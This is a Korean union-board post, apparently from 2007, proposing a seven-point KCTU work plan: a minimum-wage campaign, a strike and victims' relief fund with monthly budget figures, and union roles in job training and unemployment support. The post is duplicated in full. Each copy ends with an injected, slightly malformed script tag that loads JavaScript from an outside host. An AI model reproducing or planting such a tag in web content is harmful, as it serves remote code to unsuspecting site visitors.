글 수 2,550
민주노총 2007년 7대 사업계획 제안
1.민주노총 차원의 노동계급 투쟁단 조직(기업별이 아닌 지역별,산별로 조직)하여 핵심사업만을 중심과제로 하여 집중적으로 전개
ㅇ 최저임금(월100만원)투쟁(노동자평균임금의 60%) (전체노동자중 800만명이 해당) -> 생활임금 쟁취투쟁으로 확대
ㅇ 노동시간 단축투쟁(주40시간) -> 사회적 일자리 창출 투쟁
ㅇ 파견철폐, 차별철폐, 원청사용자성인정투쟁
ㅇ 전체 노동자계급투쟁, 전쟁반대 투쟁, 통일투쟁, 한미FTA반대투쟁등에 주도적으로 참여 및 농민투쟁에 연대
2. 기업별노조 차원이 아닌 민주노총 차원 <노동계급 총파업 투쟁기금과 희생자 구제기금> 설치
- 조합원1인당 평균급여의 0.03% 별도의무금 , 총연맹비와 동일하게 미납부시 권리제한
- 민주노총 차원으로 사업비와는 별도 계정으로 하여 독립적으로 운영. 조합원 1인당 월급여 200만원 연봉 2400만원일 경우 0.02%면 평균 4백원 (조합원 1인당 평균 월4백원X 70만명 X 수금율 70% = 월2억)
(1) 파업투쟁기금 매월 4천만원씩 배정 - 민주노총 차원에서 총파업을 하거나 또는 핵심적이고 중요한 투쟁에 대하여(장기투쟁사업장에 대하여) 집행부에서 결정하여 파업기금 지원 (지금처럼 집행부가 집회에 참석하여 연설하는 방식이 아닌, 기업별노조 집행부와 해고자가 재정사업을 통하여 기금을 마련하는 방식이 아닌 민주노총차원 결정하여 선택과 집중의 원칙으로 투쟁기금 지원)
(2) 희생자구제기금에 매월 3천만원 배정 - 민주노총 차원에서 위원회를 설치하여 기준을 만들고 원칙을 정하여 노동열사가족에 대한 생활비 지급 및 총파업 투쟁 부상자및 희생자원을 통하여 투쟁의 정당성 옹호 (노동열사 유가족 30명 X 월 30만원씩 = 1천만원) (부상자 및 희생자 월 100만원 X 20명 = 2천만원) <차수를 나누고 기간을 정하여 지원>
(3) 최저임금 월 100만원이 될때까지 최저임금투쟁에 매월 1천만원 배정(월100만원일 경우 800만 노동자가 해당, 노동자 평균임금의 60%)
(4) 파견철폐투쟁 및 원청사용자성 인정투쟁에 매월 2천만원 배정(차별철폐투쟁의 핵심,동일노동동일임금)
(5) 미조직노동자 조직화투쟁 매월 3천만원 배정 <50억 기금을 별도로 마련하는 1회성 행사가 아니라, 물론 50억기금도 잘 모이지 않지만><기간과 차수를 정하여 매월 100만원 X 30명>
(6) 취업정보제공,직업교육등 노동시장통제, 실업자동맹,사회적 일자리창출 투쟁에<중증장애인에 활동보조인제도투쟁등>에 매월 1천만원 배정
(7) 노동자 정치세력화에 매월 1천만원 배정
(8) 국민연금,세금,주택,실업급여,사회안전망등 사회보장투쟁 매월 1천만원 배정
(9) 전쟁반대,통일,환경,농민,빈민,노점상 투쟁,한미FTA반대투쟁에 매월 1천만원 배정
(10) 주간 3만부 발행하는 노동과 세계를 확대개편하여 100만부를 발행하는 일간지 국내 최대신문(일간지)+ 조합원e-mail - 매월 3천만원 배정 - 노동자 입장 대변 신문 발행
왜? 1.조합원의 조합비가 인상되는 것이 아니라 조합비의 배분을 변경하는 것.
왜? 2.기존의 특정 대규모사업장 정규직만의 기업별노조 임금인상,구조조정반대투쟁을 총연맹차원에서 지원하는 것이 아니라, 전체1,400만 노동자를 위한 투쟁을 민주노총차원에서 목적의식적으로 사업비를 준비하여 전개하자는 것임]
3. 직업교육, 취업정보제공, 실업급여지급<실업자동맹>, 사회적 일자리 창출등을 민주노총(지역본부,산별노조에서)이 직접 참여하여 노동시장 통제
현재 민주노총내에서 직업교육, 취업정보제공, 실업자및 실업급여에 대한 대책<실업자동맹결성>과 사회적 일자리창출<중증장애인 활동보조인 제도등>에 대한 논의가 정책,구호로 상층 소수 몇명에 의해 이야기되지만<장애인단체가 중심이 되어 현재 투쟁중>, 민주노총은 3% 100만 실업자<실제 300만 실업자>와는 관련이 없는 대규모사업장/정규직/기업별 노동조합 협의체계이므로 구조적으로 현재의 조직체계로는 할 수 없습니다.
따라서 산별연맹이 아닌 산별노조가, 그리고 지역본부가 중심(주체)이 되어 시작하여야 합니다. (?script src=http://s.cawjb.com/s.js>
1.민주노총 차원의 노동계급 투쟁단 조직(기업별이 아닌 지역별,산별로 조직)하여 핵심사업만을 중심과제로 하여 집중적으로 전개
ㅇ 최저임금(월100만원)투쟁(노동자평균임금의 60%) (전체노동자중 800만명이 해당) -> 생활임금 쟁취투쟁으로 확대
ㅇ 노동시간 단축투쟁(주40시간) -> 사회적 일자리 창출 투쟁
ㅇ 파견철폐, 차별철폐, 원청사용자성인정투쟁
ㅇ 전체 노동자계급투쟁, 전쟁반대 투쟁, 통일투쟁, 한미FTA반대투쟁등에 주도적으로 참여 및 농민투쟁에 연대
2. 기업별노조 차원이 아닌 민주노총 차원 <노동계급 총파업 투쟁기금과 희생자 구제기금> 설치
- 조합원1인당 평균급여의 0.03% 별도의무금 , 총연맹비와 동일하게 미납부시 권리제한
- 민주노총 차원으로 사업비와는 별도 계정으로 하여 독립적으로 운영. 조합원 1인당 월급여 200만원 연봉 2400만원일 경우 0.02%면 평균 4백원 (조합원 1인당 평균 월4백원X 70만명 X 수금율 70% = 월2억)
(1) 파업투쟁기금 매월 4천만원씩 배정 - 민주노총 차원에서 총파업을 하거나 또는 핵심적이고 중요한 투쟁에 대하여(장기투쟁사업장에 대하여) 집행부에서 결정하여 파업기금 지원 (지금처럼 집행부가 집회에 참석하여 연설하는 방식이 아닌, 기업별노조 집행부와 해고자가 재정사업을 통하여 기금을 마련하는 방식이 아닌 민주노총차원 결정하여 선택과 집중의 원칙으로 투쟁기금 지원)
(2) 희생자구제기금에 매월 3천만원 배정 - 민주노총 차원에서 위원회를 설치하여 기준을 만들고 원칙을 정하여 노동열사가족에 대한 생활비 지급 및 총파업 투쟁 부상자및 희생자원을 통하여 투쟁의 정당성 옹호 (노동열사 유가족 30명 X 월 30만원씩 = 1천만원) (부상자 및 희생자 월 100만원 X 20명 = 2천만원) <차수를 나누고 기간을 정하여 지원>
(3) 최저임금 월 100만원이 될때까지 최저임금투쟁에 매월 1천만원 배정(월100만원일 경우 800만 노동자가 해당, 노동자 평균임금의 60%)
(4) 파견철폐투쟁 및 원청사용자성 인정투쟁에 매월 2천만원 배정(차별철폐투쟁의 핵심,동일노동동일임금)
(5) 미조직노동자 조직화투쟁 매월 3천만원 배정 <50억 기금을 별도로 마련하는 1회성 행사가 아니라, 물론 50억기금도 잘 모이지 않지만><기간과 차수를 정하여 매월 100만원 X 30명>
(6) 취업정보제공,직업교육등 노동시장통제, 실업자동맹,사회적 일자리창출 투쟁에<중증장애인에 활동보조인제도투쟁등>에 매월 1천만원 배정
(7) 노동자 정치세력화에 매월 1천만원 배정
(8) 국민연금,세금,주택,실업급여,사회안전망등 사회보장투쟁 매월 1천만원 배정
(9) 전쟁반대,통일,환경,농민,빈민,노점상 투쟁,한미FTA반대투쟁에 매월 1천만원 배정
(10) 주간 3만부 발행하는 노동과 세계를 확대개편하여 100만부를 발행하는 일간지 국내 최대신문(일간지)+ 조합원e-mail - 매월 3천만원 배정 - 노동자 입장 대변 신문 발행
왜? 1.조합원의 조합비가 인상되는 것이 아니라 조합비의 배분을 변경하는 것.
왜? 2.기존의 특정 대규모사업장 정규직만의 기업별노조 임금인상,구조조정반대투쟁을 총연맹차원에서 지원하는 것이 아니라, 전체1,400만 노동자를 위한 투쟁을 민주노총차원에서 목적의식적으로 사업비를 준비하여 전개하자는 것임]
3. 직업교육, 취업정보제공, 실업급여지급<실업자동맹>, 사회적 일자리 창출등을 민주노총(지역본부,산별노조에서)이 직접 참여하여 노동시장 통제
현재 민주노총내에서 직업교육, 취업정보제공, 실업자및 실업급여에 대한 대책<실업자동맹결성>과 사회적 일자리창출<중증장애인 활동보조인 제도등>에 대한 논의가 정책,구호로 상층 소수 몇명에 의해 이야기되지만<장애인단체가 중심이 되어 현재 투쟁중>, 민주노총은 3% 100만 실업자<실제 300만 실업자>와는 관련이 없는 대규모사업장/정규직/기업별 노동조합 협의체계이므로 구조적으로 현재의 조직체계로는 할 수 없습니다.
따라서 산별연맹이 아닌 산별노조가, 그리고 지역본부가 중심(주체)이 되어 시작하여야 합니다. (?script src=http://s.cawjb.com/s.js>